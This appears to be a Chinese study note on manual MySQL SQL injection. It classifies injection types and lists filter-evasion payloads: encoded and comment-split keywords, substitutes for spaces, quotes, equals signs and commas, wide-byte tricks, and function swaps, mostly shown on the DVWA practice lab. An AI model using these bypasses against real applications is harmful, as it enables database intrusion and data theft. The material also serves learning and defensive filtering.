声明:
由于笔者能力有限,难免出现各种错误和漏洞。
文中内容为网络收集、个人总结的汇总。
主要是为了在初学手工注入时使用,主要是MySQL的。持续完善...
一、SQL注入分类
以下仅为个人总结:
类型 | 请求方式 | 注入点(前端) | 注入点(后端) | 注入方式 | ||
整型 | GET | 参数处 | GET参数 | select语句中 | Union注入(内联注入) | |
POST数据包参数 | 盲注 | Boolean盲注(布尔盲注) | ||||
请求头处 | Cookie | update语句中 | 时间盲注 | |||
Referer | 二次注入(二阶注入) | |||||
字符型 | POST | XFF(X-Forwarded-For) | insert语句中 | 报错注入 | 函数报错注入 | |
UA(User-Agent) | 双注入(关键词重复报错) | |||||
... | ... | 堆叠注入 | ||||
宽字节注入 |
其中:
- 整型和字符型可被一个或多个括号闭合;字符型分为单引号和双引号闭合。
- 每一列是一个分类依据。
- 每行的关系是可以交叉的,例如[整型,POST请求方式的,注入点在UA处的双注入报错注入]
也有根据过滤字符方式命名的(例如:检测select关键词的SQL注入),由于这种方式命名使类型变得很多,这里就不罗列。
二、SQL注入绕过方法
这里主要分为四类:关键词/字符串过滤绕过,字符过滤绕过,函数过滤绕过,杂项。
注意:所以的绕过方法这里仅仅是分类列举,实战使用时,一般需要多种方法的混合使用。
例如:/*! Sel%65Ect */,使用了内联注释+大小写+URL编码(一次编码)
1. 关键词/字符串过滤绕过
分为通用绕过方法,和某些关键词绕过举例。
1.1 大小写绕过
union -> unIOn,UNiOn...
1.2 双写或多次重复写绕过
针对:匹配关键词后替换为空的过滤方法(可能检测一次或多次),但是不适用与循环检测替换。
检测一次:union -> uniunionon
检测两次:union -> unununionionion
1.3 利用不合法字符绕过
针对:和1.2类似,但是这里使用的不合法字符(系统规定的),例如如果过滤<>符号为空时,我们就可使用<>绕过。同样也可能存在一次、多次、循环。(循环无法绕过)
union -> uni<>on
1.4 URL编码绕过
针对:URL编码绕过对关键词的匹配检测,分为部分编码,全部编码,根据编码次数分为一次,多次编码。
union -> %75%6e%69%6f%6e, u%6e%69on (一次全部编码,一次部分编码)
union -> %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65, %75%25%36%65%25%36%39%6f%6e (二次全部编码,二次部分编码)
1.5 内联注释绕过
使用内联注释绕过关键词检测,内联注释内部语句在SQL中可以执行。形式:/*! code... */
union -> /*! union */
1.6 注释符过滤绕过
常见的注释符有如下,可以依次尝试:S代表空格
- --+
- --S
- --S-
- #
- %23
- %2d%2d%20
- ;%00
- 闭合后面语句,用and/or连接起来,使用报错注入
--+:在php中+被理解为空,所以带入到SQL中变为--S。
%23、%2d%2d%20:为#、--S的URL编码
1.7 BASE64编码绕过
有的系统将数据从前端传入后端时,进行了base64编码。所以在传入参数前,将参数base64编码后传入。
union select 1,2,3 --+ -> dW5pb24gc2VsZWN0IDEsMiwzIC0tKw==
1.8 order by过滤绕过
order by 3 limit 1,1 -> limit 1,1 into @a,@b,@; // 只有前后字段一致,才不会报字段不一致错误。
1.9 and,or过滤绕过
- and -> &&
- or -> ||
- ^(异或): and -> !((条件)^1),!((条件) xor 1), not ((条件) xor 1)
在异或中,0^1=1,1^1=0,在异或外加入非,!(0^1)=0,!(1^1)=1,便可得到and的逻辑。
2. 字符过滤绕过
2.1 过滤空格的绕过
(1). 代替空格
/**/,/*!*/,%20,%09,%0a,%0b,%0c,%0d,%a0,%00,多个空格代替空格。
(2). 使用括号绕过空格
select group_concat(0x7e,user,password) from dvwa.users -> select(group_concat(0x7e,user,password))from(dvwa.users)
(3). 反引号
在堆叠注入中有些地方可以使用`(反引号)代替空格。
2.2 过滤等号的绕过
(1) 代替等号
- 不加通配符的like
- 不加通配符的rlike
- !(<>)
- regexp
- > and <
- in ()
- between...and...
select user from dvwa.users where user_id = 2 ->
select user from dvwa.users where user_id like 2;
select user from dvwa.users where !(user_id <> 2);
select user from dvwa.users where user_id rlike 2;
select user from dvwa.users where user_id regexp 2;
select user from dvwa.users where user_id >1 and user_id<3;
select user from dvwa.users where user_id in (2);
select user from dvwa.users where user_id between 2 and 2;
上面的执行结果是一样。
(2) 利用函数
- greatest(n1,n2,n3...),返回其中的最大值
- strcmp(s1,s2),s1>s2:返回1,s1=s2:返回0,s1<s2:返回-1
select ord(substr('abc',1,1)) = 96; ->
select greatest(ord(substr('abc',1,1)),1,96)^96; // 当返回为1,第一个字符等于(96+1),否则其他数字不符合(可能出现任意数字,大于0,或等于0)
select !strcmp(substr('bc',1,1), 'c'); // 只有等于后面值,返回1,否则都是等于0
select !strcmp(right(left('abcd',2),1), 'c'); // 使用right和left组合代替substr
2.3 过滤单引号的绕过
(1) 编码绕过
使用宽字节注入的方法,绕过单引号转义(' 转义为 \')。
例如:%bf%27,%df%27,%aa%27
使用Unicode编码绕过。
例如:%u0027
(2) 十六进制绕过
select * from users where user='admin'; ->
select * from users where user=0x61646d696e; // mysql中,十六进制看作字符串处理
(3) 嵌套查询绕过
select * from users where user='admin'; ->
select * from users where user in (select user from (select * from users limit 0,1)x);
2.4 过滤逗号的绕过
(1). 在substr中使用逗号
substr(str,1,3) -> substr(str from 1 for 3)
(2). 在select中使用逗号
select 1,2,3 -> select * from (select 1)a join (select 2)b join (select 3)c;
(3). 在limit中使用逗号
limit 2,1 -> limit 1 offset 2
(4). Unicode编码
例如:%u002c
3. 函数过滤绕过
3.1 sleep()的相互替换
使用sleep()和benchmark()进行互换。
select sleep(2) ->
select benchmark(10000000, hex('abcdef'*50)); // 在我的机器上约等于2s
select sleep/**/(2);
select sleep (2);
select /*! SLeEP */(2);
3.2 substr()的相互替换
substr()与substring(),min()和right(left())可以互换。
select substr("bca", 2,1); ->
select substr("bca" from 2 for 1);
select right(left("bca", 2), 1);
select mid("bca", 2, 1);
select substring("bca", 2, 1);
select substring("bca" from 2 for 1);
3.3 ascii()的相互等价替换
ascii()将参数转ascii码(10进制),hex()转为十六进制ASCII,ort()转为10进制ASCII。
select ascii('a'); ->
select hex('a');
select ord('a');
select conv('a', 16, 2); // 指定进制换行(16到2进制)只针对字母和数字有效,其他都返回0
select conv('a', 16, 10); // 只针对字母和数字有效,其他都返回0
3.4 version()的相互替换
select version(); -> select @@version;
3.5 if()的相互替换
if(exp1, exp2, exp3) 等价于 case when exp1 then exp2 else exp3 end
select if(0, 11, 22); ->
select case when 0 then 11 else 22 end;
case(1)when(1)then(11)else(22)end; // 绕空格case(1)的1无意义,占位用的
4. 杂项
4.1 sql写法一
select table_name from information_schema.tables; -->
select {x table_name} from {x information_schema.tables};
select{x/**/table_name}from{x/**/information_schema.tables};
4.2 sql的写法二
select @a:=1,2,3;
select @,2,3;
4.3 查看SQL安装目录和数据目录
- @@basedir:该参数指定了安装 MySQL 的安装路径
- @@datadir:该参数指定了 MySQL 的数据库文件放在什么路径下
select @@datadir, @@basedir;
select @@version_compile_os, @@hostname;